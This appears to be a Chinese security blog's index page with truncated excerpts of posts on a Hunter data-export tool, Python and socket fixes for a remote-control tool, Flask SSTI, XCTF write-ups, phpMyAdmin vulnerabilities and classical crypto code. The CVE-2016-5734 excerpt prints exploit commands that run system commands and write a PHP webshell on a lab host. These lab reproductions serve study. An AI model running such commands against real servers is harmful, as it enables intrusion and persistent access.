【工具篇】HunterExport - QAX全球鹰数据批量查询导出工具
📞简述由于全球鹰Hunter目前仅支持每天导出1000条数据,因此写了该工具调用查询API,可无限制导出查询结果至Excel表格。
目前全球鹰仅对公司内部开放,因此全程需要接入公司内网。接入内网后,登录安服武器库全球鹰Hunter获取用户名(邮箱)和密钥(Key),写入default.conf配置文件,运行 HunterEcport.py 输入查询指令即可获取数据,并输出至文件。
✨更新当前版本为第二版,更新情况如下:
修复全球鹰加入请求编码后第一版无法使用问题
支持文件批量查询
加入日志系统
增加配置文件项,解决请求出错问题
修复bug,优化程序,完善功能
🪓配置文件
mail = example@qianxin.com - 邮箱
key = abcdefgh12345678987654321hgfedcba - key
countMax - 导出数量封顶限制,越大越慢,适量 ...
解决Python Class中进程池Pool对象无法作为类属性进行传递问题
在使用Python的多进程模块multiprocessing的进程池Pool进行多进程操作时,当在类中把进程池Pool设为类属性self.pool = Pool(),同时把self作为参数传给进程池中的函数的时候会报错(NotImplementedError: pool objects cannot be passed between processes or pickled)
123456789101112131415from multiprocessing import Poolclass Tests(): def __init__(self, numList): self.numList = numList def printTest(self, num): print(num) def run(self): self.pool = Pool() self.pool.map(self.printTest, self.numList) self.pool.close() self.poo ...
Windows和Linux上socket的终止问题(time_wait)
在编写远控工具DanceShell的shell连接部分,功能需求是当本次连接终止时,自动启动socket监听,依然是在此前的IP和端口进行监听,并且在监听前关闭socket连接:
12clientSocket.shutdown(2)clientSocket.close()
此时在Windows上运行并断开重复监听时是成功的:
但是同样的项目代码,在Linux就会报错:
抛出来这样的错误:
12345678Traceback (most recent call last): File "server.py", line 67, in <module> main() File "server.py", line 35, in main server, clientSocket, clientAddress = connect(host, port) File "server.py", line 19, in connect server.bind((s ...
Python Flask 服务端模板注入(SSTI)
与SQL注入、XSS等安全漏洞一样,SSTI(Server Site Template Injection)也是因为对用户输入过滤不当导致的,当然还有其他原因,如今的动态站点都会用到模板渲染,这就会有SSTI的风险。
Python服务端模板注入是相对Flask框架而言的,之前并没有用过该Web框架,是在做XCTF中碰到这类漏洞相关题目,于是现学现卖,写一篇SSTI的学习总结,顺便写出XCTF中两道与该漏洞相关题目的WriteUp
Flask基础Flask是python中的一个轻量级Web框架,能够很轻易搭建一个Web站点,使用Jinja2作为模板引擎。
所谓模板引擎就是在动态站点中,将显示内容和用户数据分离,不同用户查看同一页面返回的是自己的用户数据通过模板渲染后的页面内容,所以一般模板文件都是标准的HTML文件。
Flask默认的Jinja2引擎存在以下三种语法:
控制结构 {% %}
变量取值 {{ }}
注释 ``
使用 {{ }} 语法表示一个变量,它是 ...
【漏洞分析】CVE-2016-5734 - phpmyadmin远程代码执行
漏洞复现Docker拉取镜像,创建靶场环境,Kali上有利用脚本,直接搜索即可:
使用方法在脚本中有写,以下命令即可利用漏洞远程执行命令:
1python3 40185.py -u root -p root http://192.168.11.12:8080/ -c "system('whoami & uname -a');"
其中-c 表示执行的php代码,此处利用php的system函数执行系统命令
可以创建php木马文件并写入内容,以phpinfo为例,此时-c参数需要利用**file_put_contents()**函数来写入文件: "file_put_contents('info.php','<?php phpinfo();?>');"
成功创建并访问并解析
写入一句话木马($符号需要加反斜杠转义):
1python3 40185.py -u root -p root http://192.168.11.12:8080/ -c "file_put_con ...
【漏洞分析】CVE-2018-12613 - phpmyadmin后台任意文件包含
简述由于对index.php中包含文件的target参数未作严格的安全校验,导致可以被利用绕过白名单、黑名单校验从而进行本地文件包含,达到GetShell和命令执行的效果。
要想利用该漏洞,攻击者必须经过身份验证,但在这些情况下除外:
$ cfg [‘AllowArbitraryServer’] =true:攻击者可以指定他已经控制的任何主机,并在phpMyAdmin上执行任意代码
$ cfg [‘ServerDefault’] = 0:这会绕过登录并在没有任何身份验证的情况下运行易受攻击的代码
影响版本:
Phpmyadmin 4.8.0
Phpmyadmin 4.8.0.1
Phpmyadmin 4.8.1
漏洞验证Docker拉取靶场环境,创建靶场环境
浏览器访问8080端口,即可进入phpmyadmin界面,因为靶场用的是config方式的身份验证,因此不需要使用账号密码登录
根据漏洞报告和网上师傅们的复现文章,是在index.php文件处存在本地文件包含漏洞,所以验证代码如下:
1http://192.168.11.12:8080/index.ph ...
【XCTF】 Web进阶区 WriteUp 汇总
⭐ Web_php_unserialize(__wakeup()绕过+正则匹配绕过)一个反序列化题目,页面直接给出了源码:
123456789101112131415161718192021222324252627<?php class Demo { private $file = 'index.php'; public function __construct($file) { $this->file = $file; } function __destruct() { echo @highlight_file($this->file, true); } function __wakeup() { if ($this->file != 'index.php') { //the secret is in the fl4g.php ...
【密码学】Diffie-Hellman密钥交换算法之Python实现
简述何为DH密钥间换协议?
DH密钥交换是1976年由Diffie和Hellman共同发明的一种算法。使用这种算法,通信双方仅通过交换一些可以公开的信息就能够生成出共享的密码数字,而这一密码数字就可以被用作对称密码的密钥。IPsec中就使用了经过改良的DH密钥交换。
虽然这种方法的名字叫“密钥交换”,但实际上双方并没有真正交换密钥,而是通过计算生成出一个相同的共享密钥。因此,这种方法也称DH密钥协商。
DH内容
DH协议内容如下:
协议使用一个质数p的整数模n乘法群以及其原根gAlice与Bob协定使用 p以及base gAlice选择一个秘密整数a, 计算A = g^a mod p并发送给Bob。Bob选择一个秘密整数b, 计算B = g^b mod p并发送给Alice。Alice计算alice_key = B a mod pBob计算bob_key = A b mod p
这样就实现了密钥的交换,互相可以计算出会话密钥。
代码实现123456789101112131415161718192021222324252627282930313 ...
【密码学】序列密码之Python实现
简述通俗讲,序列密码就是利用初始密钥(种子密钥),产生密钥流,再利用密钥流,对明文逐比特进行加密(异或运算),解密相同,将密文与密钥进行逐比特异或运算。
由于密钥流的周期性会导致加密的不安全,但是非周期(随机)又存在协商难题,因此序列密码在产生密钥流时采用的是伪随机数(周期很大的周期序列)
采用伪随机数近乎完美地解决了以上两个难题,也实现了一次一密的加密方案。
序列密码又分为同步序列密码与自同步序列密码1)同步序列:密文只与明文和密钥有关,密文不参与加密。2)自同步序列:密文参与加密,密文不仅与明文和密钥有关,还与之前的密文有关。
加解密序列密码加解密采用同样的流程:密钥与消息进行逐比特异或运算。
流程图:
代码实现12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273747576777879808182838485868788899091929394959697989 ...
【密码学】hill密码(希尔密码)之Python实现
简述希尔密码是利用矩阵进行加密的一种加密算法,其本质是一种多表代换密码。
百科:希尔密码是运用基本矩阵论原理的替换密码,由Lester S. Hill在1929年发明。每个字母当作26进制数字:A=0, B=1, C=2… 一串字母当成n维向量,跟一个n×n的矩阵相乘,再将得出的结果模26。注意用作加密的矩阵(即密匙)在 必须是可逆的,否则就不可能解码。只有矩阵的行列式和26互质,才是可逆的。
希尔密码由于采用矩阵运算加密,因此在相同的明文加密时,可能会出现不同的密文,因此可以很好的抵御字母频率攻击法。
加解密
加密:
1、定义一个矩阵a(须存在逆矩阵)作为加密密钥:
[1,2,1][0,2,1][1,0,2]
2、将需要加密的明文字母转换为其对应的字母表数字(1-a,2-b……);3、将转换后的明文数字序列按照密钥矩阵的阶数进行分组(如本次为3个字符一组);4、每组数字序列和密钥矩阵进行矩阵的乘法运算(1x3 矩阵乘以 3x3矩阵),结果即为密文数字序列;5、可将密文数字序列转换为其对应字母,即为密文字符串。
解密:
解密流程与加密相同,唯 ...